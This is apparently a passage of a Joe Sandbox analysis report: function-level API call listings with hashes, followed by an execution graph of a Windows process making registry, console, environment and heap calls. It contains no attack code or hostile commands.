                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: d421ac5f776f36855299ce76ac8ab18ae7275b443bcfeddbaf3eeac7d7bd622c
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 43219075A042589FCB10DFA9C981AAEB3B8EF0E700F4500B6E805EB240DF30DE40CBA5
                                                                                                                                                                                                                                  Function 031E8338 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                    • Part of subcall function 031E81CC: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,031E823C,?,?,00000000,?,031E7A7E,ntdll,00000000,00000000,031E7AC3,?,?,00000000), ref: 031E820A
                                                                                                                                                                                                                                    • Part of subcall function 031E81CC: GetModuleHandleA.KERNELBASE(?), ref: 031E821E
                                                                                                                                                                                                                                    • Part of subcall function 031E8274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,031E82FC,?,?,00000000,00000000,?,031E8215,00000000,KernelBASE,00000000,00000000,031E823C), ref: 031E82C1
                                                                                                                                                                                                                                    • Part of subcall function 031E8274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 031E82C7
                                                                                                                                                                                                                                    • Part of subcall function 031E8274: GetProcAddress.KERNEL32(?,?), ref: 031E82D9
                                                                                                                                                                                                                                  • FlushInstructionCache.KERNEL32(?,?,?,00000000,Kernel32,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,031E83C2), ref: 031E83A4
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: HandleModule$AddressProc$CacheFlushInstruction
                                                                                                                                                                                                                                  • String ID: FlushInstructionCache$Kernel32
                                                                                                                                                                                                                                  • API String ID: 3811539418-184458249
                                                                                                                                                                                                                                  • Opcode ID: 98ba3e4d83efae3f4fe9d44946cea2ae8c187b0724f92e55b2631e90d51100e8
                                                                                                                                                                                                                                  • Instruction ID: 07fffa46f630c601fbe1b28f3f2c68096847127e2be9a865b8a8fd19e0d9974b
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 98ba3e4d83efae3f4fe9d44946cea2ae8c187b0724f92e55b2631e90d51100e8
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 05016979644708BFDB14EFAAEC45F9E77ADEB4EA10F518060B904DA640DB71EE008B24
                                                                                                                                                                                                                                  Function 031EAF24 Relevance: 5.1, APIs: 4, Instructions: 72COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • IsBadReadPtr.KERNEL32(?,00000004), ref: 031EAF58
                                                                                                                                                                                                                                  • IsBadWritePtr.KERNEL32(?,00000004), ref: 031EAF88
                                                                                                                                                                                                                                  • IsBadReadPtr.KERNEL32(?,00000008), ref: 031EAFA7
                                                                                                                                                                                                                                  • IsBadReadPtr.KERNEL32(?,00000004), ref: 031EAFB3
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Read$Write
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 3448952669-0
                                                                                                                                                                                                                                  • Opcode ID: f9183a96234abd28fa760f8205a755d9082090f483e4b04655cb7e9ac6d59d85
                                                                                                                                                                                                                                  • Instruction ID: 1ad1ea5709fa4e88d944e953ad5f82ae2c1708488224e465932b3d18f656f632
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: f9183a96234abd28fa760f8205a755d9082090f483e4b04655cb7e9ac6d59d85
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 0F21B4B1A40B199BDF10DF69CC80BAE77A9EF88312F054551FD149B384D735E81187A4

                                                                                                                                                                                                                                  Execution Graph

                                                                                                                                                                                                                                  Execution Coverage:3.9%
                                                                                                                                                                                                                                  Dynamic/Decrypted Code Coverage:0%
                                                                                                                                                                                                                                  Signature Coverage:0.5%
                                                                                                                                                                                                                                  Total number of Nodes:2000
                                                                                                                                                                                                                                  Total number of Limit Nodes:11
                                                                                                                                                                                                                                  execution_graph 22923 d368e0 22924 d368f1 22923->22924 22925 d368fc 22923->22925 22929 d35679 22924->22929 22927 d35679 466 API calls 22925->22927 22928 d368f6 22927->22928 22954 d271a8 22929->22954 22931 d35685 RegOpenKeyExW 22932 d35780 22931->22932 22933 d356bb 22931->22933 22932->22928 22934 d1bc30 448 API calls 22933->22934 22935 d356cd 22934->22935 22936 d356da 22935->22936 22937 d20060 5 API calls 22935->22937 22955 d357a8 22936->22955 22938 d356ed 22937->22938 22940 d1acb0 448 API calls 22938->22940 22943 d356f4 22940->22943 22941 d356e4 23006 d35799 22941->23006 22943->22936 22943->22941 22945 d35711 22943->22945 22947 d20060 5 API calls 22945->22947 22951 d35716 22945->22951 22946 d178e4 448 API calls 22946->22941 22948 d35737 22947->22948 22949 d1acb0 448 API calls 22948->22949 22950 d3573e 22949->22950 22950->22941 22950->22951 22952 d35759 22950->22952 22951->22946 22983 d364db 22952->22983 22954->22931 22956 d358af 22955->22956 22964 d357d0 22955->22964 22957 d1ab7f 2 API calls 22956->22957 22959 d358b6 22957->22959 22958 d357da RegEnumKeyExW 22963 d35892 22958->22963 22958->22964 22960 d1acb0 448 API calls 22959->22960 22962 d358bd 22960->22962 22962->22963 22967 d201f5 wcsrchr 22962->22967 22965 d26b30 __ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 4 API calls 22963->22965 22964->22958 22964->22963 22966 d35885 GetLastError 22964->22966 22972 d19950 448 API calls 22964->22972 22973 d1dc60 2 API calls 22964->22973 23011 d362b3 22964->23011 22968 d35946 22965->22968 22969 d178e4 448 API calls 22966->22969 22970 d358cd 22967->22970 22968->22941 22969->22963 22971 d362b3 453 API calls 22970->22971 22974 d358df 22971->22974 22972->22964 22973->22964 22975 d35913 22974->22975 22978 d35903 22974->22978 22976 d178e4 448 API calls 22975->22976 22977 d3590f 22976->22977 22979 d1dc60 2 API calls 22977->22979 22980 d19950 448 API calls 22978->22980 22981 d35930 22979->22981 22980->22977 22982 d1dc60 2 API calls 22981->22982 22982->22963 22984 d364e7 22983->22984 22985 d3658c RegDeleteKeyExW 22984->22985 22987 d36502 RegCreateKeyExW 22984->22987 22986 d3659f RegOpenKeyExW 22985->22986 22993 d3656b 22985->22993 22988 d365cc RegDeleteValueW 22986->22988 22989 d365bc 22986->22989 22990 d36573 22987->22990 22991 d3651e RegSetValueExW RegCloseKey 22987->22991 22994 d365e3 22988->22994 22995 d365ec RegCloseKey 22988->22995 22989->22993 22998 d178e4 448 API calls 22989->22998 22996 d178e4 448 API calls 22990->22996 22991->22990 23002 d3655d 22991->23002 22992 d272ef ApiSetQueryApiSetPresence 22997 d36601 22992->22997 22993->22992 22993->22997 23000 d178e4 448 API calls 22994->23000 22995->22993 23001 d3657a 22996->23001 22997->22941 22998->22993 23003 d365ea 23000->23003 23004 d178e4 448 API calls 23001->23004 23005 d19950 448 API calls 23002->23005 23003->22995 23004->22993 23005->22993 23007 d1dc60 2 API calls 23006->23007 23008 d357a0 23007->23008 23009 d1dc60 2 API calls 23008->23009 23010 d35775 RegCloseKey 23009->23010 23010->22932 23012 d362bf 23011->23012 23013 d362f3 RegQueryValueExW 23012->23013 23014 d362dd RegOpenKeyExW 23012->23014 23015 d3630c 23013->23015 23018 d3631d 23013->23018 23014->23013 23016 d362f0 SetLastError 23014->23016 23017 d1acb0 448 API calls 23015->23017 23021 d36316 23016->23021 23017->23021 23018->23016 23019 d1dcd0 448 API calls 23018->23019 23022 d36329 23019->23022 23028 d36387 23021->23028 23022->23016 23023 d36332 RegQueryValueExW 23022->23023 23023->23021 23025 d3634c 23023->23025 23027 d1dc60 2 API calls 23025->23027 23027->23016 23029 d3636f 23028->23029 23030 d3638c RegCloseKey 23028->23030 23029->22964 23030->23029 24930 d36910 24931 d36921 24930->24931 24932 d3692c 24930->24932 24936 d35e03 24931->24936 24934 d35e03 465 API calls 24932->24934 24935 d36926 24934->24935 24959 d271a8 24936->24959 24938 d35e0f RegOpenKeyExW 24939 d35f03 24938->24939 24940 d35e45 24938->24940 24939->24935 24941 d1bc30 448 API calls 24940->24941 24942 d35e57 24941->24942 24943 d20060 5 API calls 24942->24943 24944 d35e64 24942->24944 24945 d35e77 24943->24945 24960 d35948 24944->24960 24947 d1acb0 448 API calls 24945->24947 24949 d35e7e 24947->24949 24949->24944 24953 d35e9b 24949->24953 24955 d35e6e 24949->24955 24951 d35ea0 24952 d178e4 448 API calls 24951->24952 24952->24955 24953->24951 24954 d1acb0 448 API calls 24953->24954 24956 d35ec1 24954->24956 25029 d35f1c 24955->25029 24956->24951 24956->24955 24957 d35edc 24956->24957 24998 d36650 24957->24998 24959->24938 24961 d35af8 24960->24961 24980 d35970 24960->24980 24963 d35b16 24961->24963 24964 d35afe 24961->24964 24962 d35990 RegEnumKeyExW 24967 d35ae7 24962->24967 24962->24980 24966 d1ab7f 2 API calls 24963->24966 24965 d178e4 448 API calls 24964->24965 24965->24967 24968 d35b1d 24966->24968 24970 d26b30 __ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 4 API calls 24967->24970 24969 d1acb0 448 API calls 24968->24969 24971 d35b24 24969->24971 24972 d35c52 24970->24972 24971->24967 24973 d201f5 wcsrchr 24971->24973 24972->24955 24975 d35b3c 24973->24975 24974 d362b3 453 API calls 24974->24980 24976 d35b68 24975->24976 24983 d35b7f 24975->24983 24979 d178e4 448 API calls 24976->24979 24977 d35ae2 24978 d26c78 4 API calls 24977->24978 24978->24967 24981 d35b74 24979->24981 24980->24962 24980->24967 24980->24974 24980->24977 24982 d1dc60 2 API calls 24980->24982 24986 d19950 448 API calls 24980->24986 24985 d1dc60 2 API calls 24981->24985 24982->24980 24984 d35b9e RegOpenKeyExW 24983->24984 24987 d35bd6 24984->24987 24988 d35bc4 24984->24988 24985->24967 24986->24980 24989 d362b3 453 API calls 24987->24989 24990 d178e4 448 API calls 24988->24990 24991 d35be7 24989->24991 24990->24981 24992 d35c21 24991->24992 24995 d35c13 24991->24995 24993 d178e4 448 API calls 24992->24993 24994 d35c1f 24993->24994 24996 d1dc60 2 API calls 24994->24996 24997 d19950 448 API calls 24995->24997 24996->24981 24997->24994 24999 d36680 24998->24999 24999->24999 25000 d366b0 24999->25000 25001 d3669b 24999->25001 25005 d36729 RegOpenKeyExW 25000->25005 25002 d178e4 448 API calls 25001->25002 25014 d366a6 25002->25014 25003 d26b30 __ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 4 API calls 25004 d368da 25003->25004 25004->24955 25006 d36831 25005->25006 25007 d36755 25005->25007 25008 d3689c RegDeleteValueW 25006->25008 25010 d3683c RegSetValueExW 25006->25010 25009 d3681c 25007->25009 25021 d36768 25007->25021 25011 d368bf RegCloseKey 25008->25011 25012 d368af 25008->25012 25013 d178e4 448 API calls 25009->25013 25019 d36873 25010->25019 25020 d36881 25010->25020 25011->25014 25015 d178e4 448 API calls 25012->25015 25013->25014 25014->25003 25016 d3687f 25015->25016 25016->25011 25018 d367a4 RegCreateKeyExW 25018->25021 25022 d36801 25018->25022 25023 d19950 448 API calls 25019->25023 25024 d178e4 448 API calls 25020->25024 25021->25006 25021->25018 25025 d367ea RegCloseKey 25021->25025 25026 d178e4 448 API calls 25022->25026 25023->25016 25027 d3688a 25024->25027 25025->25021 25026->25014 25028 d178e4 448 API calls 25027->25028 25028->25016 25030 d1dc60 2 API calls 25029->25030 25031 d35f23 25030->25031 25032 d1dc60 2 API calls 25031->25032 25033 d35ef8 RegCloseKey 25032->25033 25033->24939 18423 d26903 18424 d2690f 18423->18424 18425 d26934 18424->18425 18426 d2693b Sleep 18424->18426 18427 d26953 _amsg_exit 18425->18427 18429 d2695d 18425->18429 18426->18424 18427->18429 18428 d2699f _initterm 18432 d269ba __IsNonwritableInCurrentImage 18428->18432 18429->18428 18430 d26980 18429->18430 18429->18432 18437 d209b1 GetCurrentThreadId OpenThread 18432->18437 18496 d1e2af 18437->18496 18439 d209e8 HeapSetInformation RegOpenKeyExW 18440 d2e9c5 RegQueryValueExW RegCloseKey 18439->18440 18441 d20a18 18439->18441 18444 d2e9f5 18440->18444 18506 d21f5b 18441->18506 18659 d163bd 18444->18659 18447 d20a41 18519 d187ca 8 API calls 18447->18519 18452 d2ea08 18486 d20a87 18452->18486 18674 d21e70 18452->18674 18455 d2ea58 _setjmp3 18457 d2ea82 18455->18457 18458 d2ea6f 18455->18458 18461 d163bd 448 API calls 18457->18461 18483 d2eaa4 18457->18483 18458->18457 18459 d2ea73 18458->18459 18460 d21e70 448 API calls 18459->18460 18468 d2ea3c 18459->18468 18460->18459 18463 d2ea92 18461->18463 18469 d34840 453 API calls 18463->18469 18464 d2ea52 18464->18455 18465 d2eab1 18466 d2eac6 18465->18466 18467 d2eab5 _setmode 18465->18467 18685 d262c0 18466->18685 18467->18466 18473 d2ea9a 18469->18473 18470 d21e70 448 API calls 18470->18486 18476 d21e70 448 API calls 18473->18476 18473->18483 18474 d2eacc EnterCriticalSection LeaveCriticalSection 18477 d1c570 581 API calls 18474->18477 18476->18473 18481 d2eafa 18477->18481 18479 d20ada exit 18479->18486 18480 d2ea32 18480->18468 18485 d21e70 448 API calls 18480->18485 18481->18474 18487 d2eb06 EnterCriticalSection LeaveCriticalSection GetConsoleOutputCP GetCPInfo 18481->18487 18488 d2eb75 18481->18488 18482 d1e2af 4 API calls 18482->18486 18680 d1dd98 _get_osfhandle GetFileType 18483->18680 18485->18480 18486->18464 18486->18470 18486->18479 18486->18480 18585 d1e310 _get_osfhandle SetConsoleMode _get_osfhandle GetConsoleMode 18486->18585 18594 d1c570 18486->18594 18610 d1e470 18486->18610 18490 d1e2af 4 API calls 18487->18490 18488->18468 18489 d21e70 448 API calls 18488->18489 18489->18488 18491 d2eb40 18490->18491 18492 d1e470 918 API calls 18491->18492 18493 d1e310 12 API calls 18491->18493 18492->18491 18494 d2eb54 GetConsoleOutputCP GetCPInfo 18493->18494 18495 d1e2af 4 API calls 18494->18495 18495->18481 18497 d1e2ca 18496->18497 18498 d1e2bc SetThreadUILanguage 18496->18498 18499 d1e2d4 GetModuleHandleW 18497->18499 18500 d1e2ef 18497->18500 18498->18439 18499->18500 18502 d1e307 18499->18502 18501 d1e2f3 GetProcAddress 18500->18501 18500->18502 18501->18502 18502->18498 18504 d1e30b SetThreadLocale 18502->18504 18504->18439 18507 d20a31 18506->18507 18508 d21f91 18506->18508 18512 d21f1a GetConsoleOutputCP GetCPInfo 18507->18512 18508->18507 18509 d21fab VirtualQuery 18508->18509 18509->18507 18511 d21fbd 18509->18511 18510 d21fc7 VirtualQuery 18510->18507 18510->18511 18511->18507 18511->18510 18513 d2f185 GetThreadLocale 18512->18513 18514 d21f39 memset 18512->18514 18515 d2f196 18513->18515 18514->18515 18516 d21f5a 18514->18516 18517 d2f20b 18515->18517 18518 d2f1ee memset 18515->18518 18516->18447 18517->18447 18518->18515 18520 d1e310 12 API calls 18519->18520 18521 d1884f 18520->18521 18716 d1a9d4 GetEnvironmentStringsW 18521->18716 18525 d1885e 18730 d18273 18525->18730 18528 d18873 18528->18528 18529 d18b2f 18528->18529 18752 d21a05 18528->18752 18531 d178e4 448 API calls 18529->18531 18533 d18b42 18531->18533 19051 d27d18 18533->19051 18534 d188a5 GetCommandLineW 18535 d188b8 18534->18535 18757 d1e3f0 18535->18757 18540 d188e1 18768 d18e9e 18540->18768 18586 d1e343 18585->18586 18587 d1e357 _get_osfhandle GetConsoleMode 18585->18587 18586->18587 18588 d1e3bc _get_osfhandle SetConsoleMode 18586->18588 18589 d1e372 18587->18589 18592 d1e3a0 GetConsoleOutputCP GetCPInfo 18587->18592 18588->18587 18590 d1e3df 18588->18590 18591 d1e381 _get_osfhandle SetConsoleMode 18589->18591 18589->18592 18590->18587 18593 d2dc1d _get_osfhandle SetConsoleMode 18590->18593 18591->18592 18592->18482 18593->18587 18595 d1c5d3 18594->18595 18596 d1c594 18594->18596 18598 d1c695 VirtualFree 18595->18598 18599 d1c5fe _setjmp3 18595->18599 18596->18595 18597 d1c59e GetProcessHeap RtlFreeHeap 18596->18597 18597->18595 18597->18596 18598->18595 18609 d1c666 18598->18609 18600 d1c63c 18599->18600 18605 d1c683 18599->18605 20235 d1a8c4 18600->20235 18603 d1c64d 18604 d1c66f 18603->18604 20246 d1cc70 18603->20246 18604->18605 20264 d38791 18604->20264 18605->18486 18607 d2d0f0 18607->18607 18609->18604 20255 d38959 18609->20255 18611 d1e517 18610->18611 18612 d1e48a 18610->18612 18611->18486 18612->18611 18613 d1e4cc 18612->18613 18614 d1e4ae memset 18612->18614 18616 d1e5ad 18613->18616 18617 d1e501 18613->18617 18624 d1e4d9 18613->18624 20935 d1e670 18614->20935 18620 d1dcd0 448 API calls 18616->18620 18617->18611 18630 d1e670 457 API calls 18617->18630 18618 d1e572 20968 d19ef2 memset 18618->20968 18619 d1e4e9 18621 d1e531 18619->18621 18622 d1e4ef 18619->18622 18623 d1e5b7 18620->18623 18627 d1e544 18621->18627 18628 d1e55f 18621->18628 20862 d1ad60 GetConsoleTitleW 18622->20862 18623->18617 18635 d1e627 18623->18635 21073 d1ed90 18623->21073 18624->18618 18624->18619 18632 d1e588 18627->18632 18633 d1e54c 18627->18633 20963 d1ab50 18628->20963 18630->18611 18631 d1e583 18631->18617 21018 d20390 18632->21018 18638 d1e592 18633->18638 18639 d1e554 18633->18639 21107 d257ea 18635->21107 18644 d1e4f6 18638->18644 21021 d20740 18638->21021 20950 d203b0 18639->20950 18642 d1e631 18642->18617 18649 d1dcd0 448 API calls 18642->18649 18644->18617 18647 d1a125 2 API calls 18644->18647 18645 d1e5dd 18648 d1f410 464 API calls 18645->18648 18647->18617 18650 d1e5eb 18648->18650 18651 d1e641 18649->18651 18650->18635 18652 d1e5f0 18650->18652 18651->18617 18653 d1e64b 18651->18653 18654 d19ef2 459 API calls 18652->18654 18655 d1ec2e 448 API calls 18653->18655 18656 d1e5f9 18654->18656 18655->18652 18656->18617 21077 d22081 18656->21077 18660 d1790c 448 API calls 18659->18660 18661 d163dc 18660->18661 18662 d34840 GetStdHandle 18661->18662 18663 d163bd 448 API calls 18662->18663 18664 d3485e 18663->18664 18665 d348c5 18664->18665 18667 d1dd98 6 API calls 18664->18667 18666 d19950 448 API calls 18665->18666 18668 d348cf 18666->18668 18669 d3486b 18667->18669 18668->18452 18670 d348b5 18669->18670 18672 d34878 FlushConsoleInputBuffer _getch 18669->18672 18671 d34799 448 API calls 18670->18671 18671->18665 18672->18665 18673 d34891 EnterCriticalSection LeaveCriticalSection 18672->18673 18673->18665 22558 d21ea6 18674->22558 18676 d21e7c 18677 d21e82 18676->18677 18678 d18bc7 446 API calls 18676->18678 18677->18452 18679 d21e92 GetProcessHeap RtlFreeHeap 18678->18679 18679->18677 18682 d1ddca 18680->18682 18684 d1ddbd 18680->18684 18681 d1ddd6 GetStdHandle 18683 d1ddde AcquireSRWLockShared GetConsoleMode ReleaseSRWLockShared 18681->18683 18682->18681 18682->18683 18683->18684 18684->18465 22566 d2643a NtOpenThreadToken 18685->22566 18688 d31ef3 RtlNtStatusToDosError SetLastError 18690 d31f01 18688->18690 18689 d26302 18689->18690 18691 d31f51 18689->18691 18692 d26319 18689->18692 18693 d1ab7f 2 API calls 18690->18693 18709 d31fdc 18690->18709 18695 d31f59 GetConsoleTitleW 18691->18695 22575 d2640a FormatMessageW 18692->22575 18715 d26395 18693->18715 18696 d31f79 wcsstr 18695->18696 18699 d263c1 18695->18699 18696->18699 18700 d31f92 18696->18700 18697 d31f3d 18703 d178e4 448 API calls 18697->18703 18698 d263d8 18704 d263e2 LocalFree 18698->18704 18705 d263e9 18698->18705 18699->18698 18702 d1dc60 2 API calls 18699->18702 18699->18709 18701 d31fa0 wcsstr 18700->18701 18701->18699 18701->18701 18702->18698 18707 d31f4a 18703->18707 18704->18705 18705->18697 18708 d263f1 18705->18708 18706 d26332 18706->18697 18706->18698 18712 d1dcd0 448 API calls 18706->18712 18707->18474 18710 d26b30 __ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 4 API calls 18708->18710 18713 d26400 18710->18713 18711 d263b4 SetConsoleTitleW 18711->18699 18714 d26369 18712->18714 18713->18474 18714->18695 18714->18698 18714->18715 18715->18697 18715->18699 18715->18711 18717 d1a9e6 18716->18717 18718 d18854 18716->18718 18719 d1a9ee GetProcessHeap RtlAllocateHeap 18717->18719 18722 d18b96 GetProcessHeap HeapAlloc 18718->18722 18720 d1aa11 FreeEnvironmentStringsW 18719->18720 18721 d1aa06 memcpy 18719->18721 18720->18718 18721->18720 18723 d2b5ce 18722->18723 18724 d18bb4 18722->18724 18723->18525 18725 d1a9d4 5 API calls 18724->18725 18726 d18bb9 18725->18726 18727 d2b5b2 GetProcessHeap RtlFreeHeap 18726->18727 18728 d18bc3 18726->18728 18729 d178e4 448 API calls 18727->18729 18728->18525 18729->18723 18731 d18282 18730->18731 18732 d182bd RegOpenKeyExW 18731->18732 18734 d18321 RegQueryValueExW 18731->18734 18735 d18552 time srand 18731->18735 18736 d18371 RegQueryValueExW 18731->18736 18738 d2b11a _wtol 18731->18738 18739 d183ab RegQueryValueExW 18731->18739 18741 d2b146 _wtol 18731->18741 18742 d183fb RegQueryValueExW 18731->18742 18743 d2b18e _wtol 18731->18743 18744 d1846c RegQueryValueExW 18731->18744 18745 d2b1ba wcstol 18731->18745 18746 d2b1dc wcstol 18731->18746 18747 d2b218 wcstol 18731->18747 18748 d184fa RegQueryValueExW 18731->18748 18749 d18534 RegCloseKey 18731->18749 18750 d2b28c ExpandEnvironmentStringsW 18731->18750 19055 d1acb0 18731->19055 18732->18731 18733 d182e1 RegQueryValueExW 18732->18733 18733->18731 18733->18734 18734->18731 18734->18736 18737 d26b30 __ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 4 API calls 18735->18737 18736->18731 18736->18739 18740 d18570 GetCommandLineW 18737->18740 18738->18734 18739->18731 18739->18742 18740->18528 18741->18736 18742->18731 18742->18744 18743->18739 18744->18731 18745->18731 18746->18731 18747->18731 18748->18731 18748->18749 18749->18731 18750->18731 19065 d26e25 18752->19065 18754 d21a27 18755 d1889a 18754->18755 18756 d21a2f memset 18754->18756 18755->18529 18755->18534 18756->18755 18758 d1e405 18757->18758 18759 d188d9 18757->18759 18760 d26e25 4 API calls 18758->18760 18759->18529 18759->18540 18761 d1e422 18760->18761 18762 d2dc4a 18761->18762 18763 d1e42d 18761->18763 19077 d334d4 18762->19077 18764 d1e441 memset 18763->18764 18765 d2dc6b ??_V@YAXPAX 18763->18765 18764->18759 18769 d18ec1 GetCurrentDirectoryW 18768->18769 18770 d18ede towupper 18768->18770 18775 d18ec9 18769->18775 19147 d1ec2e GetEnvironmentVariableW 18770->19147 18772 d26b30 __ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 4 API calls 18774 d188fc 18772->18774 18777 d200e9 memset 18774->18777 18775->18772 18776 d2b787 towupper 18778 d1e3f0 17 API calls 18777->18778 18779 d2013e 18778->18779 18780 d20146 18779->18780 18781 d2e615 18779->18781 18782 d20151 GetModuleFileNameW 18780->18782 18783 d2e627 18780->18783 18784 d21e70 448 API calls 18781->18784 18786 d2e61f exit 18781->18786 18785 d1ec2e 448 API calls 18782->18785 19290 d1a976 18783->19290 18784->18781 18787 d20168 18785->18787 18786->18783 18787->18783 18789 d20170 18787->18789 18791 d1ec2e 448 API calls 18789->18791 18790 d2e63e 18794 d1a976 8 API calls 18790->18794 18792 d2017c 18791->18792 18792->18790 18793 d20184 18792->18793 18795 d1ec2e 448 API calls 18793->18795 18796 d2e64f 18794->18796 18797 d20190 18795->18797 18800 d1a976 8 API calls 18796->18800 18797->18796 18798 d20198 18797->18798 18803 d2e660 18800->18803 19052 d27d1d 19051->19052 19053 d21e70 448 API calls 19052->19053 19054 d27d28 exit 19052->19054 19053->19052 19056 d1acc0 19055->19056 19056->19056 19059 d1dcd0 19056->19059 19058 d1acd8 19058->18731 19060 d2d9da 19059->19060 19061 d1dcde GetProcessHeap HeapAlloc 19059->19061 19063 d178e4 446 API calls 19060->19063 19061->19060 19062 d1dcf6 19061->19062 19062->19058 19064 d2d9e3 19063->19064 19064->19058 19066 d26e30 __EH_prolog3_catch 19065->19066 19069 d2742d 19066->19069 19068 d26e48 19068->18754 19070 d27441 malloc 19069->19070 19071 d27434 _callnewh 19070->19071 19072 d2744f 19070->19072 19071->19070 19073 d27451 19071->19073 19072->19068 19076 d274d1 ??0exception@@QAE@ABQBDH 19073->19076 19075 d277ec _CxxThrowException 19076->19075 19080 d3345e 19077->19080 19083 d332e4 19080->19083 19084 d332f6 19083->19084 19091 d32e74 19084->19091 19087 d333a9 19088 d26b30 __ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 4 API calls 19087->19088 19089 d333ba 19088->19089 19089->18759 19092 d32ea3 19091->19092 19094 d32ead 19091->19094 19093 d3345e 9 API calls 19092->19093 19092->19094 19093->19094 19095 d32f1d GetCurrentThreadId 19094->19095 19096 d32f6c 19095->19096 19097 d33061 19096->19097 19107 d32e37 19096->19107 19100 d33036 OutputDebugStringW 19102 d32fe7 19100->19102 19102->19087 19103 d3392b 19102->19103 19104 d33941 19103->19104 19105 d3394c memset 19103->19105 19104->19105 19106 d3397a 19105->19106 19108 d32e42 19107->19108 19110 d32e4e 19107->19110 19109 d32e5d IsDebuggerPresent 19108->19109 19108->19110 19109->19110 19110->19100 19110->19102 19111 d32859 19110->19111 19112 d32a23 19111->19112 19116 d32885 19111->19116 19113 d26b30 __ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 4 API calls 19112->19113 19114 d32a60 19113->19114 19114->19100 19115 d3290d FormatMessageW 19117 d32963 19115->19117 19118 d3294c 19115->19118 19116->19112 19116->19115 19120 d33067 _vsnwprintf 19117->19120 19140 d33067 19118->19140 19121 d3295e 19120->19121 19122 d3298e GetCurrentThreadId 19121->19122 19143 d19a8d 19140->19143 19144 d19a98 19143->19144 19148 d1ec64 19147->19148 19150 d18f0d 19147->19150 19149 d1ec71 _wcsicmp 19148->19149 19148->19150 19151 d1ed59 19149->19151 19152 d1ec87 _wcsicmp 19149->19152 19150->18775 19150->18776 19155 d18e9e 436 API calls 19151->19155 19153 d1ed47 19152->19153 19154 d1ec9d _wcsicmp 19152->19154 19197 d19abf 19153->19197 19154->19153 19156 d1ecb3 _wcsicmp 19154->19156 19157 d1ed6c 19155->19157 19159 d1ecc9 _wcsicmp 19156->19159 19160 d2ddef GetCommandLineW 19156->19160 19201 d16854 19157->19201 19159->19157 19161 d1ecdf _wcsicmp 19159->19161 19160->19150 19163 d1ecf1 _wcsicmp 19161->19163 19164 d1ed24 19161->19164 19165 d1ed07 _wcsicmp 19163->19165 19166 d2ddfa rand 19163->19166 19172 d19310 19164->19172 19165->19150 19169 d2de06 GetNumaHighestNodeNumber 19165->19169 19166->19153 19167 d1ed30 19167->19150 19240 d26c78 19167->19240 19169->19153 19173 d1933b GetSystemTime SystemTimeToFileTime FileTimeToLocalFileTime FileTimeToSystemTime 19172->19173 19174 d2bbbc 19172->19174 19176 d2bbd9 19173->19176 19177 d1938d 19173->19177 19243 d348d7 19174->19243 19192 d2bbd1 19176->19192 19249 d18791 GetUserDefaultLCID 19176->19249 19179 d193cd 19177->19179 19180 d2bbcc 19177->19180 19183 d19abf _vsnwprintf 19179->19183 19181 d19950 441 API calls 19180->19181 19181->19192 19184 d193d6 